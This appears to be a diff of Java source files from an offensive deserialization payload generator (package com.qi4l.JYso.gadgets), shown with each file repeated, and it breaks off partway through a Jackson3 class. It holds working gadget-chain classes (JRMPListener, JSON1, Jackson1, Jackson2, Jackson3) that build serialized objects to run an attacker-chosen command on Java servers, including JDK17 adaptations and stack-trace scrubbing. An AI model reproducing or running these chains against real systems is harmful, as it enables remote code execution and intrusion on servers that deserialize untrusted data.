public RemoteObjectInvocationHandler getObject(String command) throws Exception {
|
||||
UnicastRef ref = JRMPClient_Activator.JRMPSource(command);
|
||||
return new RemoteObjectInvocationHandler(ref);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,47 +1,47 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import sun.rmi.server.ActivationGroupImpl;
|
||||
import sun.rmi.server.UnicastServerRef;
|
||||
|
||||
import java.rmi.server.RemoteObject;
|
||||
import java.rmi.server.RemoteRef;
|
||||
import java.rmi.server.UnicastRemoteObject;
|
||||
|
||||
/**
|
||||
* Gadget chain:
|
||||
* UnicastRemoteObject.readObject(ObjectInputStream) line: 235
|
||||
* UnicastRemoteObject.reexport() line: 266
|
||||
* UnicastRemoteObject.exportObject(Remote, int) line: 320
|
||||
* UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
|
||||
* UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
|
||||
* LiveRef.exportObject(Target) line: 147
|
||||
* TCPEndpoint.exportObject(Target) line: 411
|
||||
* TCPTransport.exportObject(Target) line: 249
|
||||
* TCPTransport.listen() line: 319
|
||||
* <p>
|
||||
* Requires:
|
||||
* - JavaSE
|
||||
* <p>
|
||||
* Argument:
|
||||
* - Port number to open listener to
|
||||
*/
|
||||
@SuppressWarnings({
|
||||
"restriction"
|
||||
})
|
||||
@Authors({Authors.MBECHLER})
|
||||
public class JRMPListener implements ObjectPayload<UnicastRemoteObject> {
|
||||
@Override
|
||||
public UnicastRemoteObject getObject(String command) throws Exception {
|
||||
int jrmpPort = Integer.parseInt(command);
|
||||
UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[]{
|
||||
RemoteRef.class
|
||||
}, new Object[]{
|
||||
new UnicastServerRef(jrmpPort)
|
||||
});
|
||||
|
||||
Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
|
||||
return uro;
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import sun.rmi.server.ActivationGroupImpl;
|
||||
import sun.rmi.server.UnicastServerRef;
|
||||
|
||||
import java.rmi.server.RemoteObject;
|
||||
import java.rmi.server.RemoteRef;
|
||||
import java.rmi.server.UnicastRemoteObject;
|
||||
|
||||
/**
|
||||
* Gadget chain:
|
||||
* UnicastRemoteObject.readObject(ObjectInputStream) line: 235
|
||||
* UnicastRemoteObject.reexport() line: 266
|
||||
* UnicastRemoteObject.exportObject(Remote, int) line: 320
|
||||
* UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
|
||||
* UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
|
||||
* LiveRef.exportObject(Target) line: 147
|
||||
* TCPEndpoint.exportObject(Target) line: 411
|
||||
* TCPTransport.exportObject(Target) line: 249
|
||||
* TCPTransport.listen() line: 319
|
||||
* <p>
|
||||
* Requires:
|
||||
* - JavaSE
|
||||
* <p>
|
||||
* Argument:
|
||||
* - Port number to open listener to
|
||||
*/
|
||||
@SuppressWarnings({
|
||||
"restriction"
|
||||
})
|
||||
@Authors({Authors.MBECHLER})
|
||||
public class JRMPListener implements ObjectPayload<UnicastRemoteObject> {
|
||||
@Override
|
||||
public UnicastRemoteObject getObject(String command) throws Exception {
|
||||
int jrmpPort = Integer.parseInt(command);
|
||||
UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[]{
|
||||
RemoteRef.class
|
||||
}, new Object[]{
|
||||
new UnicastServerRef(jrmpPort)
|
||||
});
|
||||
|
||||
Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
|
||||
return uro;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,90 +1,90 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import net.sf.json.JSONObject;
|
||||
import org.springframework.aop.framework.AdvisedSupport;
|
||||
|
||||
import javax.management.openmbean.*;
|
||||
import javax.xml.transform.Templates;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.*;
|
||||
|
||||
|
||||
/**
|
||||
* A bit more convoluted example
|
||||
* <p>
|
||||
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
|
||||
* java.lang.reflect.Method.invoke(Object, Object...)
|
||||
* org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[])
|
||||
* org.springframework.aop.framework.JdkDynamicAopProxy.invoke(Object, Method, Object[])
|
||||
* $Proxy0.getOutputProperties()
|
||||
* java.lang.reflect.Method.invoke(Object, Object...)
|
||||
* org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(Method, Object, Object[])
|
||||
* org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty(Object, String)
|
||||
* org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(Object, String)
|
||||
* org.apache.commons.beanutils.PropertyUtilsBean.getProperty(Object, String)
|
||||
* org.apache.commons.beanutils.PropertyUtils.getProperty(Object, String)
|
||||
* net.sf.json.JSONObject.defaultBeanProcessing(Object, JsonConfig)
|
||||
* net.sf.json.JSONObject._fromBean(Object, JsonConfig)
|
||||
* net.sf.json.JSONObject.fromObject(Object, JsonConfig)
|
||||
* net.sf.json.JSONObject(AbstractJSON)._processValue(Object, JsonConfig)
|
||||
* net.sf.json.JSONObject._processValue(Object, JsonConfig)
|
||||
* net.sf.json.JSONObject.processValue(Object, JsonConfig)
|
||||
* net.sf.json.JSONObject.containsValue(Object, JsonConfig)
|
||||
* net.sf.json.JSONObject.containsValue(Object)
|
||||
* javax.management.openmbean.TabularDataSupport.containsValue(CompositeData)
|
||||
* javax.management.openmbean.TabularDataSupport.equals(Object)
|
||||
* java.util.HashMap<K,V>.putVal(int, K, V, boolean, boolean)
|
||||
* java.util.HashMap<K,V>.readObject(ObjectInputStream)
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||
@Dependencies({"net.sf.json-lib:json-lib:jar:jdk15:2.4", "org.springframework:spring-aop:4.1.4.RELEASE",
|
||||
// deep deps
|
||||
"aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2", "commons-lang:commons-lang:2.6",
|
||||
"net.sf.ezmorph:ezmorph:1.0.6", "commons-beanutils:commons-beanutils:1.9.2",
|
||||
"org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1"})
|
||||
@Authors({Authors.MBECHLER})
|
||||
public class JSON1 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object tql;
|
||||
tql = Gadgets.createTemplatesImpl(command);
|
||||
Class ifaces = Templates.class;
|
||||
CompositeType rt = new CompositeType("a", "b",
|
||||
new String[]{"a"},
|
||||
new String[]{"a"},
|
||||
new OpenType[]{javax.management.openmbean.SimpleType.INTEGER}
|
||||
);
|
||||
TabularType tt = new TabularType("a", "b", rt, new String[]{"a"});
|
||||
TabularDataSupport t1 = new TabularDataSupport(tt);
|
||||
TabularDataSupport t2 = new TabularDataSupport(tt);
|
||||
|
||||
// we need to make payload implement composite data
|
||||
// it's very likely that there are other proxy impls that could be used
|
||||
AdvisedSupport as = new AdvisedSupport();
|
||||
as.setTarget(tql);
|
||||
InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy", as);
|
||||
InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(createMap("getCompositeType", rt));
|
||||
InvocationHandler invocationHandler = (InvocationHandler) Reflections.newInstance("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl");
|
||||
((Map) Reflections.getFieldValue(invocationHandler, "classToInvocationHandler")).put(CompositeData.class, cdsInvocationHandler);
|
||||
Reflections.setFieldValue(invocationHandler, "defaultHandler", delegateInvocationHandler);
|
||||
final CompositeData cdsProxy = createProxy(invocationHandler, CompositeData.class, ifaces);
|
||||
|
||||
JSONObject jo = new JSONObject();
|
||||
Map m = new HashMap();
|
||||
m.put("t", cdsProxy);
|
||||
Reflections.setFieldValue(jo, "properties", m);
|
||||
Reflections.setFieldValue(jo, "properties", m);
|
||||
Reflections.setFieldValue(t1, "dataMap", jo);
|
||||
Reflections.setFieldValue(t2, "dataMap", jo);
|
||||
return makeMap(t1, t2);
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import net.sf.json.JSONObject;
|
||||
import org.springframework.aop.framework.AdvisedSupport;
|
||||
|
||||
import javax.management.openmbean.*;
|
||||
import javax.xml.transform.Templates;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.*;
|
||||
|
||||
|
||||
/**
|
||||
* A bit more convoluted example
|
||||
* <p>
|
||||
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
|
||||
* java.lang.reflect.Method.invoke(Object, Object...)
|
||||
* org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[])
|
||||
* org.springframework.aop.framework.JdkDynamicAopProxy.invoke(Object, Method, Object[])
|
||||
* $Proxy0.getOutputProperties()
|
||||
* java.lang.reflect.Method.invoke(Object, Object...)
|
||||
* org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(Method, Object, Object[])
|
||||
* org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty(Object, String)
|
||||
* org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(Object, String)
|
||||
* org.apache.commons.beanutils.PropertyUtilsBean.getProperty(Object, String)
|
||||
* org.apache.commons.beanutils.PropertyUtils.getProperty(Object, String)
|
||||
* net.sf.json.JSONObject.defaultBeanProcessing(Object, JsonConfig)
|
||||
* net.sf.json.JSONObject._fromBean(Object, JsonConfig)
|
||||
* net.sf.json.JSONObject.fromObject(Object, JsonConfig)
|
||||
* net.sf.json.JSONObject(AbstractJSON)._processValue(Object, JsonConfig)
|
||||
* net.sf.json.JSONObject._processValue(Object, JsonConfig)
|
||||
* net.sf.json.JSONObject.processValue(Object, JsonConfig)
|
||||
* net.sf.json.JSONObject.containsValue(Object, JsonConfig)
|
||||
* net.sf.json.JSONObject.containsValue(Object)
|
||||
* javax.management.openmbean.TabularDataSupport.containsValue(CompositeData)
|
||||
* javax.management.openmbean.TabularDataSupport.equals(Object)
|
||||
* java.util.HashMap<K,V>.putVal(int, K, V, boolean, boolean)
|
||||
* java.util.HashMap<K,V>.readObject(ObjectInputStream)
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||
@Dependencies({"net.sf.json-lib:json-lib:jar:jdk15:2.4", "org.springframework:spring-aop:4.1.4.RELEASE",
|
||||
// deep deps
|
||||
"aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2", "commons-lang:commons-lang:2.6",
|
||||
"net.sf.ezmorph:ezmorph:1.0.6", "commons-beanutils:commons-beanutils:1.9.2",
|
||||
"org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1"})
|
||||
@Authors({Authors.MBECHLER})
|
||||
public class JSON1 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object tql;
|
||||
tql = Gadgets.createTemplatesImpl(command);
|
||||
Class ifaces = Templates.class;
|
||||
CompositeType rt = new CompositeType("a", "b",
|
||||
new String[]{"a"},
|
||||
new String[]{"a"},
|
||||
new OpenType[]{javax.management.openmbean.SimpleType.INTEGER}
|
||||
);
|
||||
TabularType tt = new TabularType("a", "b", rt, new String[]{"a"});
|
||||
TabularDataSupport t1 = new TabularDataSupport(tt);
|
||||
TabularDataSupport t2 = new TabularDataSupport(tt);
|
||||
|
||||
// we need to make payload implement composite data
|
||||
// it's very likely that there are other proxy impls that could be used
|
||||
AdvisedSupport as = new AdvisedSupport();
|
||||
as.setTarget(tql);
|
||||
InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy", as);
|
||||
InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(createMap("getCompositeType", rt));
|
||||
InvocationHandler invocationHandler = (InvocationHandler) Reflections.newInstance("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl");
|
||||
((Map) Reflections.getFieldValue(invocationHandler, "classToInvocationHandler")).put(CompositeData.class, cdsInvocationHandler);
|
||||
Reflections.setFieldValue(invocationHandler, "defaultHandler", delegateInvocationHandler);
|
||||
final CompositeData cdsProxy = createProxy(invocationHandler, CompositeData.class, ifaces);
|
||||
|
||||
JSONObject jo = new JSONObject();
|
||||
Map m = new HashMap();
|
||||
m.put("t", cdsProxy);
|
||||
Reflections.setFieldValue(jo, "properties", m);
|
||||
Reflections.setFieldValue(jo, "properties", m);
|
||||
Reflections.setFieldValue(t1, "dataMap", jo);
|
||||
Reflections.setFieldValue(t2, "dataMap", jo);
|
||||
return makeMap(t1, t2);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,46 +1,46 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.fasterxml.jackson.databind.node.POJONode;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtMethod;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
import java.util.HashMap;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||
// 在触发 getter 的时候是以随机顺序触发的,所以概率打空
|
||||
public class Jackson1 implements ObjectPayload<Object> {
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object tempImpl;
|
||||
tempImpl = Gadgets.createTemplatesImpl(command);
|
||||
|
||||
try {
|
||||
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
|
||||
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
|
||||
ctClass.removeMethod(writeReplace);
|
||||
ctClass.toClass();
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
|
||||
POJONode node = new POJONode(tempImpl);
|
||||
|
||||
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||
setFieldValue(val, "val", node);
|
||||
//清除堆栈信息
|
||||
setFieldValue(val, "stackTrace", new StackTraceElement[0]);
|
||||
setFieldValue(val, "cause", null);
|
||||
setFieldValue(val, "suppressedExceptions", null);
|
||||
|
||||
HashMap hashMap = new HashMap();
|
||||
hashMap.put(tempImpl, val);
|
||||
|
||||
return hashMap;
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.fasterxml.jackson.databind.node.POJONode;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtMethod;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
import java.util.HashMap;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||
// 在触发 getter 的时候是以随机顺序触发的,所以概率打空
|
||||
public class Jackson1 implements ObjectPayload<Object> {
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object tempImpl;
|
||||
tempImpl = Gadgets.createTemplatesImpl(command);
|
||||
|
||||
try {
|
||||
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
|
||||
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
|
||||
ctClass.removeMethod(writeReplace);
|
||||
ctClass.toClass();
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
|
||||
POJONode node = new POJONode(tempImpl);
|
||||
|
||||
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||
setFieldValue(val, "val", node);
|
||||
//清除堆栈信息
|
||||
setFieldValue(val, "stackTrace", new StackTraceElement[0]);
|
||||
setFieldValue(val, "cause", null);
|
||||
setFieldValue(val, "suppressedExceptions", null);
|
||||
|
||||
HashMap hashMap = new HashMap();
|
||||
hashMap.put(tempImpl, val);
|
||||
|
||||
return hashMap;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,48 +1,48 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.fasterxml.jackson.databind.node.POJONode;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtMethod;
|
||||
import org.springframework.aop.framework.AdvisedSupport;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
import javax.xml.transform.Templates;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.lang.reflect.Proxy;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unused"})
|
||||
public class Jackson2 implements ObjectPayload<Object> {
|
||||
public static Object makeTemplatesImplAopProxy(String cmd) throws Exception {
|
||||
AdvisedSupport advisedSupport = new AdvisedSupport();
|
||||
advisedSupport.setTarget(Gadgets.createTemplatesImpl(cmd));
|
||||
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
|
||||
constructor.setAccessible(true);
|
||||
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
|
||||
return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
|
||||
}
|
||||
|
||||
public Object getObject(final String command) throws Exception {
|
||||
|
||||
try {
|
||||
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
|
||||
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
|
||||
ctClass.removeMethod(writeReplace);
|
||||
ctClass.toClass();
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
POJONode node = new POJONode(makeTemplatesImplAopProxy(command));
|
||||
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||
setFieldValue(val, "val", node);
|
||||
//清除堆栈信息
|
||||
setFieldValue(val, "stackTrace", new StackTraceElement[0]);
|
||||
setFieldValue(val, "cause", null);
|
||||
setFieldValue(val, "suppressedExceptions", null);
|
||||
return val;
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.fasterxml.jackson.databind.node.POJONode;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtMethod;
|
||||
import org.springframework.aop.framework.AdvisedSupport;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
import javax.xml.transform.Templates;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.lang.reflect.Proxy;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unused"})
|
||||
public class Jackson2 implements ObjectPayload<Object> {
|
||||
public static Object makeTemplatesImplAopProxy(String cmd) throws Exception {
|
||||
AdvisedSupport advisedSupport = new AdvisedSupport();
|
||||
advisedSupport.setTarget(Gadgets.createTemplatesImpl(cmd));
|
||||
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
|
||||
constructor.setAccessible(true);
|
||||
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
|
||||
return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
|
||||
}
|
||||
|
||||
public Object getObject(final String command) throws Exception {
|
||||
|
||||
try {
|
||||
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
|
||||
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
|
||||
ctClass.removeMethod(writeReplace);
|
||||
ctClass.toClass();
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
POJONode node = new POJONode(makeTemplatesImplAopProxy(command));
|
||||
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||
setFieldValue(val, "val", node);
|
||||
//清除堆栈信息
|
||||
setFieldValue(val, "stackTrace", new StackTraceElement[0]);
|
||||
setFieldValue(val, "cause", null);
|
||||
setFieldValue(val, "suppressedExceptions", null);
|
||||
return val;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,125 +1,125 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.fasterxml.jackson.databind.node.POJONode;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
|
||||
import com.qi4l.JYso.gadgets.utils.ThirdLibsClassLoader;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtMethod;
|
||||
import org.springframework.aop.framework.AdvisedSupport;
|
||||
import org.springframework.aop.framework.AdvisorChainFactory;
|
||||
|
||||
import javax.sql.DataSource;
|
||||
import javax.xml.transform.Templates;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.lang.reflect.Proxy;
|
||||
import java.util.Vector;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
|
||||
import static com.qi4l.JYso.gadgets.utils.Reflections.getFieldValue;
|
||||
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
|
||||
|
||||
|
||||
//Jackson2链的JDK17改造
|
||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||
@Dependencies({"spring-apo:6.2.10"})
|
||||
@Authors({Authors.JSJCW})
|
||||
public class Jackson3 implements ObjectPayload<Object> {
|
||||
static InvocationHandler setSuidSource(AdvisedSupport advisedSupport) throws Exception {
|
||||
//<=6.0.23为6115154060221772279
|
||||
//>=6.1.0 为273003553246259276
|
||||
String sUID = "273003553246259276";
|
||||
CtClass ctDefaultAdvisorChainFactory = insertField(
|
||||
"org.springframework.aop.framework.DefaultAdvisorChainFactory",
|
||||
"private static final long serialVersionUID = " + sUID + "L;");
|
||||
|
||||
Object ctFactory = ctDefaultAdvisorChainFactory.toClass(
|
||||
new SuClassLoader(),SuClassLoader.class.getProtectionDomain()
|
||||
).newInstance();
|
||||
advisedSupport.setAdvisorChainFactory((AdvisorChainFactory) ctFactory);
|
||||
|
||||
Constructor<?> constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
|
||||
constructor.setAccessible(true);
|
||||
return (InvocationHandler) constructor.newInstance(advisedSupport);
|
||||
}
|
||||
|
||||
public static Object makeTemplatesImplAopProxy(String cmd) throws Exception {
|
||||
AdvisedSupport advisedSupport = new AdvisedSupport();
|
||||
advisedSupport.setTarget(Gadgets.createTemplatesImpl(cmd));
|
||||
|
||||
InvocationHandler handler = setSuidSource(advisedSupport);
|
||||
|
||||
|
||||
return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
|
||||
}
|
||||
|
||||
public static Object makeDatasourceAopProxy(Object templatesImpl) throws Exception {
|
||||
AdvisedSupport advisedSupport = new AdvisedSupport();
|
||||
advisedSupport.setTarget(templatesImpl);
|
||||
|
||||
InvocationHandler handler = setSuidSource(advisedSupport);
|
||||
|
||||
return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{DataSource.class}, handler);
|
||||
}
|
||||
|
||||
public static Object makeAopProxy(String singletonTargetSourceClassName, String advisedSupportClassName, String jdkDynamicAopProxy, Class superClass, Object targetObject) throws Exception {
|
||||
Object singletonTargetSource = ThirdLibsClassLoader.loadClass_(singletonTargetSourceClassName).getConstructor(Object.class).newInstance(targetObject);
|
||||
Class<?> advisedSupportClazz = ThirdLibsClassLoader.loadClass_(advisedSupportClassName);
|
||||
Object advisedSupport = advisedSupportClazz.newInstance();
|
||||
advisedSupportClazz.getMethod("setTarget", Object.class).invoke(advisedSupport, singletonTargetSource);
|
||||
Constructor<?> constructor = ThirdLibsClassLoader.loadClass_(jdkDynamicAopProxy).getConstructor(advisedSupportClazz);
|
||||
constructor.setAccessible(true);
|
||||
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
|
||||
return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{superClass}, handler);
|
||||
}
|
||||
|
||||
public static Object getEventListenerList(Object obj) throws Exception {
|
||||
//>=6.1.0 为-7977902244297240866
|
||||
//<=6.0.23为-5677132037850737084
|
||||
String sUID1 = "7977902244297240866";
|
||||
CtClass ctEventListenerList = insertField(
|
||||
"javax.swing.event.EventListenerList",
|
||||
"private static final long serialVersionUID = -" + sUID1 + "L;");
|
||||
Object list = ctEventListenerList.toClass(
|
||||
new SuClassLoader(),SuClassLoader.class.getProtectionDomain()
|
||||
).newInstance();
|
||||
|
||||
//>=6.1.0 为-1045223116463488483
|
||||
//<=6.0.23为-2077529998244066750
|
||||
String sUID2 = "1045223116463488483";
|
||||
CtClass ctUndoManager = insertField(
|
||||
"javax.swing.undo.UndoManager",
|
||||
"private static final long serialVersionUID = -" + sUID2 + "L;");
|
||||
Object undomanager = ctUndoManager.toClass(
|
||||
new SuClassLoader(),SuClassLoader.class.getProtectionDomain()
|
||||
).newInstance();
|
||||
|
||||
//取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。
|
||||
Vector vector = (Vector) getFieldValue(undomanager, "edits");
|
||||
vector.add(obj);
|
||||
|
||||
setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager});
|
||||
return list;
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object getObject(final String command) throws Exception {
|
||||
try {
|
||||
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
|
||||
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
|
||||
ctClass.removeMethod(writeReplace);
|
||||
ctClass.toClass();
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
|
||||
|
||||
POJONode node = new POJONode(makeTemplatesImplAopProxy(command));
|
||||
|
||||
return getEventListenerList(node);
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.fasterxml.jackson.databind.node.POJONode;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
|
||||
import com.qi4l.JYso.gadgets.utils.ThirdLibsClassLoader;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtMethod;
|
||||
import org.springframework.aop.framework.AdvisedSupport;
|
||||
import org.springframework.aop.framework.AdvisorChainFactory;
|
||||
|
||||
import javax.sql.DataSource;
|
||||
import javax.xml.transform.Templates;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.lang.reflect.Proxy;
|
||||
import java.util.Vector;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
|
||||
import static com.qi4l.JYso.gadgets.utils.Reflections.getFieldValue;
|
||||
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
|
||||
|
||||
|
||||
//Jackson2链的JDK17改造
|
||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||
@Dependencies({"spring-apo:6.2.10"})
|
||||
@Authors({Authors.JSJCW})
|
||||
public class Jackson3 implements ObjectPayload<Object> {
|
||||
static InvocationHandler setSuidSource(AdvisedSupport advisedSupport) throws Exception {
|
||||
//<=6.0.23为6115154060221772279
|
||||
//>=6.1.0 为273003553246259276
|
||||
String sUID = "273003553246259276";
|
||||
CtClass ctDefaultAdvisorChainFactory = insertField(
|
||||
"org.springframework.aop.framework.DefaultAdvisorChainFactory",
|
||||
"private static final long serialVersionUID = " + sUID + "L;");
|
||||
|
||||
Object ctFactory = ctDefaultAdvisorChainFactory.toClass(
|
||||
new SuClassLoader(),SuClassLoader.class.getProtectionDomain()
|
||||
